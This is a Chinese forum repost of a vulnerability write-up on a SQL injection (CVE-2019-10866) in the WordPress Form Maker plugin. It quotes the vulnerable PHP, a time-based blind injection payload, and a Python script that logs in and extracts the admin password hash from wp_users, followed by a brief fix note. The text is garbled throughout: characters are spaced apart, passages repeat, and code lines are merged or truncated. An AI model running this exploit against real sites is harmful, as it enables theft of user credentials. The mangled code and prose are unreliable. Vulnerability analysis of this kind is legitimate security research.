搜索

[14236] 2019-06-16_WordPress插件FormMakerSQL注入漏洞分析

文档创建者：s7ckTeam
浏览次数：31
最后更新：2025-01-18
2019-06-16_WordPress插件FormMakerSQL注入漏洞分析 W o r d P r e s s 插 件 F o r m   M a k e r   S Q L 注 入 漏 洞 分 析 K r i s t o n   F r e e B u f   2 0 1 9 - 0 6 - 1 6 最 近 最 近 W o r d P r e s s 的 插 件 出 现 各 种 姿 势 漏 洞 （ 都 是 插 件 ， 不 知 何 时 能 有 核 心 漏 洞 出 现 ） ， 的 插 件 出 现 各 种 姿 势 漏 洞 （ 都 是 插 件 ， 不 知 何 时 能 有 核 心 漏 洞 出 现 ） ， E a s y   W P   S M T P 、 、   S o c i a l   W a r f a r e 、 、 F o r m   M a k e r 等 等 ， 其 中 等 等 ， 其 中 F o r m   M a k e r 1 . 1 3 . 3 之 前 版 本 存 在 之 前 版 本 存 在 s q l 注 入 漏 洞 （ 注 入 漏 洞 （ C V E - 2 0 1 9 - 1 0 8 6 6 ） 。 最 近 一 直 在 看 ） 。 最 近 一 直 在 看 c m s 的 漏 洞 代 码 ， 于 是 顺 手 在 网 上 找 了 该 插 件 的 影 响 版 本 与 修 补 后 的 版 本 进 行 了 代 码 分 析 ， 并 且 在 本 地 对 该 漏 洞 进 行 了 分 析 复 现 和 的 漏 洞 代 码 ， 于 是 顺 手 在 网 上 找 了 该 插 件 的 影 响 版 本 与 修 补 后 的 版 本 进 行 了 代 码 分 析 ， 并 且 在 本 地 对 该 漏 洞 进 行 了 分 析 复 现 和 P O C 代 码 编 写 调 试 。 下 面 是 分 析 和 复 现 的 过 程 ： 代 码 编 写 调 试 。 下 面 是 分 析 和 复 现 的 过 程 ： 本 地 环 境 ： W o r d p r e s s 5 . 1   +   F o r m   M a k e r 1 . 1 3 . 3 在 本 地 搭 建 W o r d P r e s s 5 . 1 版 本 ， 然 后 上 网 找 一 下 F o r m M a k e r 的 历 史 版 本 。 安 装 的 时 候 选 择 上 传 安 装 ， 有 可 能 会 有 上 传 大 小 限 制 ， 需 要 改 一 下 p h p . i n i 中 的 配 置 信 息 。 安 装 完 成 后 记 得 要 把 自 动 更 新 关 掉 ， 要 把 自 动 更 新 关 掉 ， 要 把 自 动 更 新 关 掉 ， 重 要 的 事 情 说 三 遍 。 然 后 就 可 以 专 心 的 进 行 代 码 审 计 和 漏 洞 复 现 了 。 漏 洞 位 置 ： w p - c o n t e n t p l u g i n s f o r m - m a k e r a d m i n m o d e l s S u b m i s s i o n s _ f m . p h p 在 c v e 的 信 息 中 作 者 提 到 在 该 路 径 下 的 p h p 文 件 存 在 问 题 ， 直 接 定 位 文 件 进 行 审 计 。 在 上 述 代 码 中 存 在 问 题 的 位 置 ： 代 码 中 对 所 有 的 参 数 都 有 判 断 检 测 ， 唯 独 对 $ a s c _ o r _ d e s c 参 数 什 么 都 没 做 ， 把 传 进 来 的 参 数 直 接 和 查 询 语 句 拼 接 在 了 一 起 （ 危 险 警 告 ） 。 再 看 一 下 其 他 位 置 有 没 有 类 似 的 危 险 操 作 ， 或 者 上 下 文 调 用 中 是 否 对 这 个 参 数 有 检 测 （ 拼 接 前 都 没 有 估 计 其 他 位 置 也 不 能 有 了 ） ？ 对 整 个 插 件 工 程 全 文 搜 索 $ a s c _ o r _ d e s c ， 继 续 寻 找 。 漏 洞 位 置 ： w p - c o n t e n t p l u g i n s f o r m - m a k e r a d m i n c o n t r o l l e r s S u b m i s s i o n s _ f m . p h p 危 险 警 告 X 2 ： 发 现 参 数 ‘ a s c _ o r _ d e s c ’ ， 代 码 中 同 样 没 有 对 该 参 数 进 行 过 滤 或 是 合 法 性 的 判 断 （ 不 能 相 信 用 户 任 何 的 输 入 ） 。 通 过 以 上 两 个 漏 洞 的 位 置 大 致 可 以 知 道 s q l 注 入 的 产 生 原 因 了 ， 可 利 用 $ a s c _ o r _ d e s c 参 数 构 造 s q l 注 入 ， 形 如 ： 在 这 之 前 还 要 解 决 一 个 重 要 的 问 题 就 是 找 到 传 参 的 位 置 ， 简 单 的 办 法 就 是 在 本 地 搭 建 的 环 境 中 使 用 产 生 漏 洞 插 件 的 各 种 功 能 ， 查 看 每 个 功 能 传 的 参 数 ， 如 图 ：         . . .         $ o r d e r _ b y   =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' o r d e r _ b y ' ,   ' g r o u p _ i d ' ) ;         $ a s c _ o r _ d e s c   =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' a s c _ o r _ d e s c ' ,   ' d e s c ' ) ;           . . .         i f   (   $ o r d e r _ b y   = =   ' g r o u p _ i d '   o r   $ o r d e r _ b y   = =   ' d a t e '   o r   $ o r d e r _ b y   = =   ' i p '   )   {             $ o r d e r b y   =   '   O R D E R   B Y   '   .   $ o r d e r _ b y   .   '   '   .   $ a s c _ o r _ d e s c   .   ' ' ;         }         e l s e   i f   (   $ o r d e r _ b y   = =   ' d i s p l a y _ n a m e '   o r   $ o r d e r _ b y   = =   ' u s e r _ e m a i l '   )   {             $ o r d e r b y   =   '   O R D E R   B Y   ( S E L E C T   '   .   $ o r d e r _ b y   .   '   F R O M   '   .   $ w p d b - > p r e f i x   .   ' u s e r s   W H E R E   I D = u s e r _ i d _ w d )   '   .   $ a s c _ o r _ d e s c   .   ' ' ;         }         e l s e   {             $ o r d e r b y   =   " " ;         } $ a s c _ o r _ d e s c   =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' a s c _ o r _ d e s c ' ,   ' d e s c ' ) ;           . . .         i f   (   $ o r d e r _ b y   = =   ' g r o u p _ i d '   o r   $ o r d e r _ b y   = =   ' d a t e '   o r   $ o r d e r _ b y   = =   ' i p '   )   {             $ o r d e r b y   =   . . .         $ g r o u p _ i d s   =   ( ( i s s e t ( $ l a b e l s _ p a r a m e t e r s [ 6 ] ) )   ?   $ l a b e l s _ p a r a m e t e r s [ 6 ]   :   N U L L ) ;                           $ p a r a m s [ ' g r o u p _ i d _ s ' ]   =   $ t h i s - > m o d e l - > s o r t _ g r o u p _ i d s ( c o u n t ( $ p a r a m s [ ' s o r t e d _ l a b e l _ n a m e s ' ] ) ,   $ g r o u p _ i d s ) ;                           $ p a r a m s [ ' w h e r e _ c h o i c e s ' ]   =   $ l a b e l s _ p a r a m e t e r s [ 7 ] ;                           $ p a r a m s [ ' s e a r c h e d _ i d s ' ]   =   $ l a b e l s _ p a r a m e t e r s [ 8 ]   ?   i m p l o d e ( ' , ' ,   $ l a b e l s _ p a r a m e t e r s [ 8 ] )   :   ' ' ;                           $ p a r a m s [ ' g r o u p i d s ' ]         =   $ l a b e l s _ p a r a m e t e r s [ 8 ]   ?   a r r a y _ r e v e r s e ( $ l a b e l s _ p a r a m e t e r s [ 8 ] )   :   a r r a y ( ) ;                           $ p a r a m s [ ' o r d e r _ b y ' ]               =   $ o r d e r _ b y   =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' o r d e r _ b y ' ,   ' g r o u p _ i d ' ) ;                           $ p a r a m s [ ' a s c _ o r _ d e s c ' ]   =   $ a s c _ o r _ d e s c     =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' a s c _ o r _ d e s c ' ,   ' d e s c ' ) ;         . . .         i f   (   ! e m p t y ( $ _ P O S T [ ' o r d e r _ b y ' ] )   | |   ! e m p t y ( $ _ P O S T [ ' a s c _ o r _ d e s c ' ] )   )   {                 $ i s _ s o r t         =   t r u e ;                 $ o r d e r _ b y         =   $ _ P O S T [ ' o r d e r _ b y ' ] ;                 $ a s c _ o r _ d e s c   =   $ _ P O S T [ ' a s c _ o r _ d e s c ' ] ;         . . .         F o r e a c h   (   $ l i s t s   a s   $ l i s t _ k e y   = >   $ l i s t _ v a l   )   {         I f   (   ! E m p t y ( $ _ G E T [ $ l i s t _ k e y ] )   )   {                 $ l i s t s [ $ l i s t _ k e y ]   =   u r l e n c o d e ( W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( $ l i s t _ k e y ) ) ;                 $ p a g i n a t i o n _ u r l _ a r g s [ $ l i s t _ k e y ]   =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( $ l i s t _ k e y ) ;                 $ p a g i n a t i o n _ u r l _ a r g s [ ‘ i s _ s e a r c h ’ ]   =   1 ;                 }         }         $ p a g i n a t i o n _ u r l   =   a r r a y _ m e r g e ( r r a y ( ‘ p a g e ’   = >   $ t h i s - > p a g e ,   ‘ t a s k ’   = >   ‘ d i s p l a y ’ ,   ‘ c u r r e n t _ i d ’   = >   $ i d ,   ‘ o r d e r _ b y ’   = >   $ o r d e r _ b y ,   ‘ a s c _ o r _ d e s c ’   = >                                                                           $ a s c _ o r _ d e s c ) , p a g i n a t i o n _ u r l _ a r g s ) ;         p a r a m s [ ‘ p a g i n a t i o n _ u r l ’ ]     =   a d d _ q u e r y _ a r g (   $ p a g i n a t i o n _ u r l   ,   a d m i n _ u r l ( ‘ a d m i n . p h p ’ )   ) ; $ p a r a m s [ ' a s c _ o r _ d e s c ' ]   =   $ a s c _ o r _ d e s c     =   W D W _ F M _ L i b r a r y ( s e l f : : P L U G I N ) - > g e t ( ' a s c _ o r _ d e s c ' ,   ' d e s c ' ) ; . . .         i f   (   ! e m p t y ( $ _ P O S T [ ' o r d e r _ b y ' ] )   | |   ! e m p t y ( $ _ P O S T [ ' a s c _ o r _ d e s c ' ] )   )   {         $ i s _ s o r t         =   , ( c a s e + w h e n + ( s e l e c t + s l e e p ( 5 ) + f r o m + w p _ u s e r + l i m i t + 1 ) + t h e n + 1 + e l s e + 2 + e n d ) + a s c + - - +
根 据 该 漏 洞 路 径 ， 参 照 D a n i e l e   S c a n u   @   C e r t i m e t e r   G r o u p 的 漏 洞 利 用 脚 本 ， 可 对 W o r d P r e s s 数 据 库 进 行 查 询 ， 最 终 注 入 脚 本 如 下 ， 以 查 询 w p _ u s e r 中 用 户 密 码 为 例 ： 注 入 脚 本 ： 注 入 脚 本 ： 注 意 ： 因 网 络 原 因 需 要 设 置 合 理 的 T I M E 时 长 。 本 地 运 行 结 果 ： 本 地 运 行 结 果 ： i m p o r t   r e q u e s t s i m p o r t   t i m e u r l _ v u l n   =   ' h t t p : / / i p / w o r d p r e s s / w p - a d m i n / a d m i n . p h p ? p a g e = s u b m i s s i o n s _ f m & t a s k = d i s p l a y & c u r r e n t _ i d = 2 & o r d e r _ b y = g r o u p _ i d & g r o u p _ i d & a s c _ o r _ d e s c = '     # g r o u p _ i d & g r o u p _ i d & a s c _ o r _ d e s c = ' s e s s i o n   =   r e q u e s t s . S e s s i o n ( ) d i c t i o n a r y   =   ' @ . _ - $ / " ￡ % & ; § + * 1 2 3 4 5 6 7 8 9 0 q w e r t y u i o p a s d f g h j k l z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M ' f l a g   =   T r u e u s e r n a m e   =   " " p a s s w o r d   =   " " t e m p _ p a s s w o r d   =   " " T I M E   =   1 d e f   l o g i n ( u s e r n a m e ,   p a s s w o r d ) :         p a y l o a d   =   {                 ' l o g ' :   u s e r n a m e ,                 ' p w d ' :   p a s s w o r d ,                 ' w p - s u b m i t ' :   ' L o g i n ' ,                 ' r e d i r e c t _ t o ' :   ' h t t p : / / i p / w o r d p r e s s / w p - a d m i n / ' ,                 ' t e s t c o o k i e ' :   1         }         s e s s i o n . p o s t ( ' h t t p : / / i p / w o r d p r e s s / w p - l o g i n . p h p ' ,   d a t a = p a y l o a d ) d e f   p r i n t _ s t r i n g ( s t r ) :         p r i n t   " 0 3 3 c "         p r i n t   s t r d e f   g e t _ a d m i n _ p a s s ( ) :         l e n _ p w d   =   1         g l o b a l   f l a g         g l o b a l   t e m p _ p a s s w o r d         w h i l e   f l a g :                 f l a g   =   F a l s e                 c h _ t e m p   =   ' '                 f o r   c h   i n   d i c t i o n a r y :                         p r i n t _ s t r i n g ( " [ * ]   P a s s w o r d   d u m p :   "   +   t e m p _ p a s s w o r d   +   c h )                         c h _ t e m p   =   c h                         s t a r t _ t i m e   =   t i m e . t i m e ( )                         r   =   s e s s i o n . g e t ( u r l _ v u l n   +   ' , ( c a s e + w h e n + ( s e l e c t + a s c i i ( s u b s t r i n g ( u s e r _ p a s s , '   +   s t r ( l e n _ p w d )   +   ' , '   +   s t r ( l e n _ p w d )   +   ' ) ) + f r o m + w p _ u s e r s + w h e r e + i d % 3 d 1 ) % 3 d '   +   s t r ( o r d ( c h ) )   +                           e l a p s e d _ t i m e   =   t i m e . t i m e ( )   -   s t a r t _ t i m e                         i f   e l a p s e d _ t i m e   > =   T I M E :                                 f l a g   =   T r u e                                 b r e a k                 i f   f l a g :                         t e m p _ p a s s w o r d   + =   c h _ t e m p                         l e n _ p w d   + =   1 l o g i n ( u s e r n a m e ,   p a s s w o r d ) g e t _ a d m i n _ p a s s ( ) p r i n t _ s t r i n g ( " [ + ]   P a s s w o r d   f o u n d :   "   +   t e m p _ p a s s w o r d )
利 用 脚 本 可 查 询 当 前 网 站 下 用 户 所 有 敏 感 数 据 。 修 补 方 式 ： 修 补 方 式 ： 在 1 . 1 3 . 3 版 本 以 后 ， 该 插 件 对 参 数 $ a s c _ o r _ d e s c 进 行 了 严 格 的 限 制 。 在 最 近 的 c m s 代 码 审 计 学 习 中 也 发 现 了 一 些 应 为 过 滤 审 核 不 严 导 致 的 s q l 注 入 漏 洞 ， 在 代 码 编 写 的 过 程 中 万 万 不 可 相 信 用 户 任 何 的 输 入 ， 需 要 严 格 的 过 滤 审 核 才 能 带 入 到 程 序 中 运 行 ， 否 则 就 会 产 生 安 全 隐 患 。 以 上 。 * 本 文 原 创 作 者 ： K r i s t o n ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理